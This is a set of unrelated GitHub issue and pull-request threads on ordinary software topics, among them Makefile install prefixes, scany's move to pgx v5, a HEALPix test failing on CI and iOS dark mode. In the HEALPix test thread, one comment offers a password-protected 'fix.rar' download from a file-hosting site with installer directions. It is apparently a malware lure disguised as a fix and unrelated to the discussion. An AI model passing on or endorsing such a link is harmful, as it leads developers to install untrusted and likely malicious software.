Closed. See #233 for more details.


Persist All Messages

We should consider saving all messages to the db immediately, before they are sent.
That could be used purely for informational purposes, to triage issues.
It could also be used for future features like resending messages or resyncing nodes that are missing messages they've sent each other.
Related to #1442

@jjeffryes is this issue being worked on? If not I can get this one?

Thanks for checking in @jwfrizzell. It's not actively being worked on, however, this was just one idea of many we generated when we were internally brainstorming the Reliable Messaging problem as indicated on the attached issue. We shouldn't start on this until we decide on a way forward for https://github.com/OpenBazaar/openbazaar-go/issues/1442.


explicit types and remove cypress resolution override

Explicitly list types used by each package.
Each plugin can override the types used in their tsconfig.json, but tbh I don't know how that will affect the package and availability of types when importing the plugin in an app later.
I'm imagining this could increase build speed, but not seeing any big difference, at most a few % if anything.
The main reason for making this change was so that we can get rid of the version override of cypress, since the reason we had to do that was clashing types between jest and mocha. Now that we have to include types explicitly that's no longer an issue.

@freben omitting would give you the default behaviour, which is that all type definitions that can be found will be used. More info here: https://www.typescriptlang.org/docs/handbook/tsconfig-json.html#types-typeroots-and-types
Backend package was supposed to have the change, removed it by mistake :grin: Added back now though.

Would have been nice to blacklist mocha instead of whitelisting these, but I guess that isn't possible :/

@freben, indeed... here's a thread on that: https://github.com/microsoft/TypeScript/issues/18588

Build issues were because we ended up bringing in 2 versions of cypress, issue is being tracked here: https://github.com/cypress-io/cypress/issues/4595
Fixed by making sure we're only installing one version, but it could pop up again.


Move error summary to top of page

Description
We have gotten feedback that having the error summary at the bottom is breaking with best practices.
This is a draft
Additional Information
No response
Tasks

Look into best practices
Design how it should look
Our pages do not refresh when validating. Focus must be moved to top of the page
OnBlur validations should not trigger a summary!

Acceptance Criterias
No response

Who's best practices is that? I personally think it is quite natural to have it close to the navigation buttons since that is where your scroll position is when the error summary is shown 🤷

Also very related:

#100


Forms : Remove FormElement dependency from FieldElement

Summary of changes

The composable FieldElement takes a parameter of FieldFormElement which is not really needed. Instead the needed propperties can provided through the state object that is already passed as a parameter.
This enables support for group elements where a GroupElement can create its FieldElement's by just using BaseFieldState

thanks @sorenoid! merging.


Ability to build and install in separate directories

I'm currently looking into libraries for a synthesizer I'm working on. Since it targets multiple architectures I need the ability to build and install the library into separate directories.
I understand from #2 that you're not interested in adding a build system generator. I completely understand this; I prefer to write my Makefiles by hand as well and don't appreciate the extra overhead.
So what I propose is the addition of two variables INTERMEDIATE_DIR and PRODUCT_DIR in the Makefile that enable you to set both directories at compile time:
make INTERMEDIATE_DIR="..."
make install INTERMEDIATE_DIR="..." PRODUCT_DIR="..."

Let me know if you're interested so I can implement it and send you a pull request. :thumbsup:

I like the idea, as long as these variables are set by default so that
things work the same. Preferably should be set in config.mk.
Would INTERMEDIATE_DIR be where all the .o files go and PRODUCT_DIR be
where the library installs to (should be called PREFIX set to /usr/local by
default)?
-P
On Jul 6, 2016 5:19 AM, "Dennis Vennink"<EMAIL_ADDRESS>wrote:

I'm currently looking into libraries for a synthesizer I'm working on.
Since it targets multiple architectures I need the ability to build and
install the library into separate directories.
I understand from #2 https://github.com/PaulBatchelor/Soundpipe/issues/2
that you're not interested in adding a build system generator. I completely
understand this; I prefer to write my Makefiles by hand as well and don't
appreciate the extra overhead.
So what I propose is the addition of two variables INTERMEDIATE_DIR and
PRODUCT_DIR in the Makefile that enable you to set both directories at
compile time:
make INTERMEDIATE_DIR="..."
make install INTERMEDIATE_DIR="..." PRODUCT_DIR="..."
Let me know if you're interested so I can implement it and send you a pull
request. 👍
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/PaulBatchelor/Soundpipe/issues/70, or mute the thread
https://github.com/notifications/unsubscribe/AHwyfUADBF2fiLNtiVPj7EImQGwUXq05ks5qS50_gaJpZM4JGBdK
.

I like the idea, as long as these variables are set by default so that
things work the same.

Yes. make has a conditional variable assignment operator, ?=, that does exactly that.

Would INTERMEDIATE_DIR be where all the .o files go and PRODUCT_DIR be
where the library installs to (should be called PREFIX set to /usr/local by
default)?

The intermediates directory would default to . and would include everything that gets built or generated: the static library, the object files, the header, the docs, etc. The product or installation directory would default to /usr/local and copies the archive and the header file over from the intermediates directory. I was also thinking that the HTML docs could be installed into /usr/local/share/doc.
Since you like the idea let's discuss what to call these variables. prefix or PREFIX might indeed be better for the installation directory since that's pretty much the standard naming convention. For the intermediates I'd suggest something like intermediates_prefix or INTERMEDIATES_PREFIX then, keeping it in line with the other variable.

I prefer using all caps for makefile variables. PREFIX and
INTERMEDIATES_PREFIX.
HTML docs should go in /usr/local/share/doc.
This all sounds good. When you have finished this, make a PR on dev.
Thanks!
-P
On Wed, Jul 6, 2016 at 8:38 AM, Dennis Vennink<EMAIL_ADDRESS>wrote:

I like the idea, as long as these variables are set by default so that
things work the same.
Yes. make has a conditional variable assignment operator, ?=, that does
exactly that.
Would INTERMEDIATE_DIR be where all the .o files go and PRODUCT_DIR be
where the library installs to (should be called PREFIX set to /usr/local by
default)?
The intermediates directory would default to . and would include
everything that gets built or generated: the static library, the object
files, the header, the docs, etc. The product or installation directory
would default to /usr/local and copies the archive and the header file
over from the intermediates directory. I was also thinking that the HTML
docs could be installed into /usr/local/share/doc.
Since you like the idea let's discuss what to call these variables. prefix
or PREFIX might indeed be better for the installation directory since
that's pretty much the standard naming convention. For the intermediates
I'd suggest something like intermediates_prefix or INTERMEDIATES_PREFIX
then, keeping it in line with the other variable.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/PaulBatchelor/Soundpipe/issues/70#issuecomment-230811257,
or mute the thread
https://github.com/notifications/unsubscribe/AHwyfVm4JClzb9YFOxcP3CPmbz8W75Gtks5qS8wTgaJpZM4JGBdK
.

Thank you for your changes! I have merged your changes, and did some fixes of my own. Can you make sure I didn't break anything for your needs?
I did mostly cosmetic stuff to abide by the 80 column real. I decided against installing documentation for now because creating the documentation requires lua, which to me is an optional dependency.

Looks good. 👍


Fix some Helm issues

Description
This PR refactor the Helm chart in order to be easily used in continous integration deployments.
How Has This Been Tested?

/rebase


python-ovsdb: Changes to fetch list type values from ovsdb

There is a problem when loading ovs ports list with python-ovsdb lib. "Datum.to_python()" returns None.
For example,
# ovs-vsctl get <br_name> port
[108beebd-3089-425a-a55d-aedaeddb8107, 92cb0e47-8c7d-4dfc-8480-410eea3411a3, a0cd6f8d-5cbc-433f-b52a-f7671ecba71b, ad9afb13-8246-4a06-bf04-0fca0093012c]
Signed-off-by: Nobody Void<EMAIL_ADDRESS>

Can you help me better understand the problem?  The "for example" doesn't actually use the Python OVSDB library.
it doesn't look appropriate to me to use to_string() in the implementation.  What if the list isn't a list of strings?

Yes, The "for example" doesn't actually use the Python OVSDB library.
What I meaned was when trying to use python-ovsdb lib to get the ports list of ovs like as the result of executing 'ovs-vsctl get <br_name> port', However, in the existing implementation, list type returns None.
And the datum class implements the to_string() method, but if it is not a string I think that can consider changes just like below so that user application can deal object detail.

values.append(k.to_string())

values.append(k)

OK, please update the patch.

Please squash the changes in a single patch.

Sorry for late. Making a single patch has done.

I'm sorry it's taken so long to take a look at this.
I would really appreciate it if you would add a test (that fails before the patch and succeeds afterward) or at least a complete example.

I'm sorry it's taken so long to take a look at this.
I would really appreciate it if you would add a test (that fails before the patch and succeeds afterward) or at least a complete example.

Actually, this patch makes many of the unit tests fail, so I suspect that it is simply wrong.


Are there any plans to support pgx v5?

In a month or so, pgx v5 will be officially released.

https://github.com/jackc/pgx/issues/1169
https://github.com/jackc/pgx/issues/1061#issuecomment-1186250809

This is the last major change planned for v5. I plan to release the (hopefully) final alpha release within the next few days (maybe even tonight), then a beta release a couple weeks after that, and the general release a few weeks after that.

Here are the commits I supported v5 for reference.

https://github.com/jnst/scany/commits/master

pgx v5 requires go 1.18 or higher. do you plan to support this in scany?

Hi. Thank you for bringing this up.
Supporting pgx v5 should be a good improvement; I see no obstacles doing it.
If you already did so in your version of the repo, may I ask you to shoot a PR with the change?

@georgysavva
To support pgx v5, it means it has to be go v1.18 to work.
Does scany think it is ok to discontinue lower versions of Go?

Hello, @georgysavva, In Pgx v5, the pgx.Rows interface has a new method called Conn and it returns *Conn, right now Scany is using Pgx v4, so I think it would be cool to update to version 5.

Thanks for the library :+1:

Yeah, supporting pgx v5 is indeed a desirable improvement. I just need to think about this:

To support pgx v5, it means it has to be go v1.18 to work.
Does scany think it is ok to discontinue lower versions of Go?

How to do the transaction gracefully. To ensure backward compatibility of scany API it would need to be scany v2 as well I assume?
cc: @jnst, @Edwing123

@georgysavva I depend on this (awesome) project too and I would really love to see pgx v5 support.
With Go 1.19 being the latest version now, personally I am not too concerned with dropping support for Go < 1.18.
However, because the APIs for pgx have changed a lot and are incompatible, perhaps releasing scany v2 would not be a bad idea regardless. Then, scany "v1" would continue to work with pgx v4.

Yes, releasing Scany v2 would a good thing to let v1 be compatible with older Go versions.

Okay then, I will release scany v2 and let you know, guys.

Let's go with the scany v2 release then.
I just check the pgx repo and it says that pgx v5 is in beta and will be released in September. Is it okay for you if we do the scany v2 release after pgx v5 is released and stable?

I wonder if releasing scany v2 beta would be a good starting point. When trying scany with pgx v5,  it was only a few compatibility errors because of new added fields or renamed methods, but yeah, more breaking changes could be added to pgx v5, and that could get tiresome for you to update scany every time more changes are added while it's in beta.

Well, September is almost here, in my case, I wouldn't mind waiting for pgx v5 to become stable, and since there's not a lot of people having problems with scany (just a few have commented in this issue)

Then let's wait for the stable pgx v5 release. Feel free to ping me when it's out there, in case I've missed it.

@georgysavva pgx v5 now have a built-in method pgx.RowToStructByPos[T], which deserializes the resulting Rows into a struct from T generic.
Examples:
Many rows:
rows, err := conn.Query(ctx, sql)
if err != nil {
...
}
// somearray will be []model.Person
somearray, err := pgx.CollectRows[model.Person](rows, pgx.RowToStructByPos[model.Person])
if err != nil {
...
}

Single row:

row, err := conn.Query(ctx, sql)
if err != nil {
...
}
// someperson will be model.Person
someperson, err := pgx.CollectOneRow[model.Person](row, pgx.RowToStructByPos[model.Person])
if err != nil {
...
}

Warning: fields in struct and row must be in the same ordering
Keep it in mind that there's no QueryRow() for single value, because maintainer (@jackc) recommend to use Query() rather than QueryRow()
https://github.com/jackc/pgx/issues/1300#issuecomment-1239314987

seems like pgx v5 got released: https://github.com/jackc/pgx/releases/tag/v5.0.0

Guys, it can probably take a while so I would appreciate creating a v2-dev branch so we could start using the first version and report errors. Pgx v5 is a big milestone for those who want to incorporate OpenTelemetry :-)

Here everyone. I created a pre-release for scany/v2: https://github.com/georgysavva/scany/releases/tag/v2.0.0-alpha.2. You can install it the following way: go get<EMAIL_ADDRESS>Please test it out a little bit, and if everything is fine, I will make the stable release.

it looks like github.com/jackc/pgtype should be replaced with github.com/jackc/pgx/v5/pgtype according to https://github.com/jackc/pgx/blob/f803c790d0999e9028cbffefad9df02e4aff913a/CHANGELOG.md#merged-packages, so I just submitted https://github.com/georgysavva/scany/pull/97

Here is the new pre-release of scany/v2 after @vadimi's changes:
https://github.com/georgysavva/scany/releases/tag/v2.0.0-alpha.3
go get<EMAIL_ADDRESS>

Hi guys! Since no one has reported any issues with the scany/v2 pre-release, I went ahead and published the first stable scany/v2 release: https://github.com/georgysavva/scany/releases/tag/v2.0.0. You can update via:
go get https://github.com/georgysavva/scany/v2

Thank you to everyone who participated in the transition, and especially to @vadimi, who took the initiative from the beginning till the end!

Works fine for our use case, but we barely scratch the surface of the features. Just few tables and the most complex code is actually storing a single JSONB field :-)
Thanks!


Anisotropic ORF tests broken on GitHub

Problem:
test_orf** inside test_utils.py is currently being skipped on GitHub actions per PR #391.
Symptoms:
The test runs locally on my own Mac, but fails on GitHub runners with Error: Process completed with exit code 134. after hitting alm2map.
This error code (134) indicates either an out of memory error, or an index attempting to be accessed out of bounds. Given that this works on my own computer, but fails on GitHub, I'm guessing the former.
Goal:
Come up with a new test for the anisotropic ORF which doesn't fail on GitHub runners.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

If it's a memory issue, then we may be able to fix it by reducing nside in HealPIX. I have tested locally that nside=16 still passes the tests, and it fails for nside=8. I created PR #404 to test this.

So @AaronDJohnson, I did some recon here, even creating PR #404 . Going down to nside=4, the macos version succeeds for python 3.8, but it fails for the rest. I'm gonna guess this is a healpix/healpy problem.


4.6 - Release

Coverage remained the same at 100.0% when pulling 5ec7a92ad4c02d6dc8549ff71b16d0445261b390 on l0gicgate:4.6.0-Release into 8dde3cb913f07146567ce14f39c14de4a2e84b65 on slimphp:4.x.

CHANGELOG wasn't updated.


[Question] Adam updates diverges for DDPG

After few iterations I get the following error:

Any suggestions why the exponential moving average of some squared gradients are 0 ?

I am encountring the same issue, even with altering epsilon from mpi_adam.py I still get the same issue.

Hello,
Please fill in the issue template completely.

After using VecCheckNan, it appears that my custom env returns NaN values for some actions, hence the error.

Thanks.

That was my same issue too .

@Adnanemiri @bl4ckrid3r good to hear, as you are apparently from the same company, you don't need to double every message ;) (and the issue is also here for a good reason)


Add "scroll to top " button

added scroll to top button to every section of website
Add gssoc-ext,hactoberfast accepted and level
#55 issue solved

@yatulearn

your pr has conflicts kindly resolve it

your PR has conflicts that need to be addressed. Please review and resolve any issues. After resolving them, you can proceed to create a pull request. It is essential to resolve these conflicts in the branch.

add this feature on home screen's card's content i.e web development, ai ml etc

your pr has conflicts kindly resolve them

Resolved the conflicts @yatulearn

your pr has conflicts kindly resolve them

This pr has no conflicts @yatu;earn


IOS 13 Dark Mode

Hi, thanks for your AppleWelcomeScreen. Unfortunately, this is broken in IOS 13 Darkmode, since only part of the background is black. Can you take a look at this please? Maybe you can set the backgrounds via .systemBackground and the font by .label.
Thank you and best regards

@Wilsonator5000 I really need your support, because I have to upload an update to the appstore because my app in IOS 13 is broken! Ask for a quick answer! Thank you very much

Hey @DK-Web,
Sorry for the late reply. I might be able to get to it later today if I have time, but if you want you can submit a pull request and I'll be happy to merge it!
Thanks,
Wilson

Hi Wilson, thanks for your quick reply. Unfortunately I can not fix the error. Had already tried without success.
The background of the item cells is automatically set to black by DarkMode, but the item texts are no longer visible because they are black.
There must be a way to change the colors of the entire View background and the Item-Table + Cells to ".systemBackground" as well as the text color of the individual items and descriptions to ".label".
I would be very grateful if you can implement that quickly.
Thank you so much!

I just pushed a new version (1.0.2) that should work with dark mode. Try it out and let me know if you run into any issues! Thanks for helping out 😄

Hi Wilson, thank you for your quick update. Unfortunately I can not install this. I get this error message:
`Analyzing dependencies
Downloading dependencies
Installing AppleWelcomeScreen (1.0.2)
[!] Error installing AppleWelcomeScreen
[!] /usr/bin/git clone https://github.com/Wilsonator5000/AppleWelcomeScreen.git /var/folders/49/k2kb5k6s3kj0qtxrg5tb_c880000gn/T/d20190928-5499-1rjycwp --template= --single-branch --depth 1 --branch 1.0.2
Cloning into '/var/folders/49/k2kb5k6s3kj0qtxrg5tb_c880000gn/T/d20190928-5499-1rjycwp'...
dyld: lazy symbol binding failed: Symbol not found: _curl_global_sslset
Referenced from: /Applications/Xcode.app/Contents/Developer/usr/libexec/git-core/git-remote-https
Expected in: /usr/lib/libcurl.4.dylib
dyld: Symbol not found: _curl_global_sslset
Referenced from: /Applications/Xcode.app/Contents/Developer/usr/libexec/git-core/git-remote-https
Expected in: /usr/lib/libcurl.4.dylib`
Do you have an idea what's going on there?

Hi Wilson, I could fix the problem. The PATH was changed in the .bash_profile file for whatever reason.
Good job! The DarkMode works very well with your AppleWelcomeScreen.
Now, i have another question.
Since the welcomescreen is now displayed as a card and the user can swipe it down, I need a way to run a callback. So then, when the view was swiped down.
Currently, when the user clicks on the "ok close" button, a UserDefault is set so that the view does not reappear. Swiped the user the view down, then the view comes back with every app restart.
How can I use a callback for closing per swipe?
Thank you so much!

Okay, I have it.
This change changes the card view to the previous full view:
let vc = AWSViewController()
vc.configuration = configuration
vc.modalPresentationStyle = .fullScreen
self.present(vc, animated: true)